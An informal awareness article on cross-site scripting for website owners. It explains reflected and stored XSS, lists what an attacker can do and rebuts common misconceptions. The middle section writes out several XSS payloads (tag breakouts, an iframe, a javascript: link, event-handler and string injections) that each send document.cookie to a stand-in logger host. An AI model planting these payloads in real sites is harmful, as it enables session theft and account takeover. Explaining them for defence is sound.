THE DANGERS OF CROSS-SITE SCRIPTING (XSS)

THIS IS REALLY SERIOUS !!!

Cross-Site Scripting is the most common security vulnerability in today's websites.

Most web security professionals will write off XSS, as it does not involve remote code execution. They believe that it is not a threat, nothing could be further from the truth.

First of all: "What Is XSS?"

XSS Stands for Cross-Site Scripting.
Essentially, XSS is an exploit where client side script (usually JavaScript) is injected into a trusted page. I will get in to how this is done a little later.

Client side scripting (JavaScript) was intended to make dynamic web pages, to make web pages interactive. JavaScript is used on the vast majority of websites today for just that purpose, as well as more important features such as cookie handling, communicating with the server (AJAX and JSON), logging traffic (such as Google Analytics), and many other critical uses.

The problem arises when this highly useful and nearly universally supported language is used maliciously. Again, I will get in to what can be done a little later.

But, in summary, XSS injects a malicious piece of client side scripting (usually JavaScript, but VBscript and others are sometimes used). This code that has been injected is then used to cause some sort of vulnerability on a victim.

"How is this code injected?"

There are two essential types of XSS:
Non-Persistent
Persistent

1) Non-Persistent (Type-1):

This is when, due to improper data handling, scripting can be injected to a non permanent part of a website, for example a search feature or error page.

Scenario:

An attacker locates a way to inject script into a search feature, so that when the page states "No Posts Found For Keywords ____," an attacker can inject script where it returns the keywords.

So, via a specially crafted link, the attacker can link to the exploit. The attacker then injects a cookie stealer, and sends the link to a website administrator, who clicks the link and has her administrative cookie stolen. The attacker can now pose as the administrator and make changes to the website, and in some cases change the password so that the real administrator can not get back in.

Also, the attacker may be able to decode the cookie to get the actual plaintext password in some cases. The attacker then leverages her server side script access to get root access on the server.

2) Persistent (Type-2):

This is when, due to a poor filter, scripting can be injected in to a permanent part of a site by a user, for example a comment, a blog, or a profile.

Scenario:

An attacker, via a known injection, is able to replace his profile on MySpace with a fake login screen. The victim, not knowing that it is a fake (as it looks exactly real) logs in, and has her password and email stolen. Many people use the same user name and password for everything, so the attacker now has access to not only her MySpace account, but to her email, bank, etc. The attacker can now essentially ruin her life, from a simple injection.

"What Can Happen If I Don't Fix It?"

There are any number of terrible things that can happen if an attacker exploits an XSS vulnerability.
But, there are a few things that WILL happen:
Costs of fixing the problem WILL increase dramatically, due to the rushed nature of the work, extra damages, etc. Costs can go up many thousands of times, depending on the severity of the exploit.
Users WILL lose confidence in your website, and you WILL lose users.
There WILL be downtime.

But, as far as the specific things an attacker can do, here is a short list:
An attacker can use a cookie stealer to steal user accounts. This can even give an attacker administrative privileges on your website, even giving an attacker root privileges, then: game over. Its done. They can do literally ANYTHING to your site or the server at that point.
A fake login page can be created to trick users in to revealing private information.
Fake pages can be posted (DOM Based Attack) that could be anything from a fake blog post, to a redirect to a shock site, to a more malicious page meant to slander the website. Remember, everyone will think that the page was posted by an official at your site.
Browser exploits can be used to gain control of victims computers, install malware (viruses, spyware, etc.), or trick a user in to installing dangerous software (grayware).
A fake page can also be used to social engineer (trick) a victim in to revealing credit card, banking, SSN, or other sensitive personal information.
A clickjacking attack can be launched, to do any number of malicious things.

Remember, this is a VERY concise list, the actual list of possible attacks is endless.

"How is JavaScript used to do all of this?"

There is no one answer to this question, the number of attacks is so huge that it would be impossible to list them here. But as for some of the popular ones, here they are:

A simple search engine injection:

yoursite.com/search.pl?q=%3Cscript%3Edocument.location%3D%22http%3A//example.com/logger.php%3Fcookie%3D%22+document.cookie%3B%3C/script%3E

All of that code at the end translates to:

<script>document.location="http://example.com/logger.php?cookie="+document.cookie;</script>

Simply, this code redirects to a malicious site, carrying the victims cookie data in a GET variable (?cookie=). The evil site logs it, and they then have you personal information.

A few variants on that would be:

Closing <title> tag, then inject script:

</title><script>document.location="http://example.com/logger.php?cookie="+document.cookie;</script>

Closing text input, link title, etc, then injecting script:

"><script>document.location="http://example.com/logger.php?cookie="+document.cookie;</script>

Iframe attack:

<iframe src="javascript:parent.document.location='http://example.com/logger.php?cookie='+parent.document.cookie;"></iframe>

Link Attack (executes when the link is clicked)

<a href="javascript:document.location='http://example.com/logger.php?cookie='+document.cookie;">CLICK ME!</a>

Attribute Injection (executes when the mouse is moved anywhere on the page):

hi" style="position:absolute;top:0px;left:0px;height:100%;width:100%;display:block;z-index:400" onmousemove="document.location='http://example.com/logger.php?cookie='+document.cookie;

This results in code like:

<input type="text" value="hi" style="position:absolute;top:0px;left:0px;height:100%;width:100%;display:block;z-index:400" onmouseover="document.location='http://example.com/logger.php?cookie='+document.cookie;">

Inter-Block Injection:

hi";document.location='http://example.com/logger.php?cookie='+document.cookie;//

Resulting in JavaScript like:

var searchQuery = hi";document.location='http://example.com/logger.php?cookie='+document.cookie;//";

That is just a tiny taste of the possible injections, to a skilled attacker, those are child's play, and far more sophisticated attacks can and will be created.



"Of course, MY small site will not be affected, no hacker has any interest in MY small site!"

This is a common misconception, as attackers will often scan for common injections, and no site is spared. Even if the site is getting no more than 2 visitors a month or less, an attacker will log the vulnerability, and exploit it later, or sell it to a scammer.
In short, NO ONE is safe because of size.


"My site is so simple, there couldn't possibly be a security flaw in it."

Another common misconception, while the simpler the site, the less likley an XSS injection will be there, this does not mean your site is in any way safe.



"I used a popular paid/open source script so there can't be an XSS hole, if I paid for it, it simply can not have bad security." OR "I hired a PROFESSIONAL web developer, who is an expert in web security, if there was a problem, he would have known. This can not be a real threat if he didn't bother fixing it"

Quite possibly the most dangerous misconception of all. Web developers, weather MIT educated, or a 15 year old neighbor, often do not understand the severity of XSS, or know how to fix it. In fact, MIT educated web developers often forget to use proper filtering, they are only human. Even if they do know about the risk, they may simply forget to filter.

On the topic of paid scripts and open source scripts, they are often the most vulnerable, in fact, I located critical security flaws in multiple paid and open source shopping carts, not only XSS but other critical vulnerabilities, such as SQL injection and read exploits.




In short, no matter who made your website, or what your webmaster tells you, if there is an XSS exploit in your site, you are never safe. Period.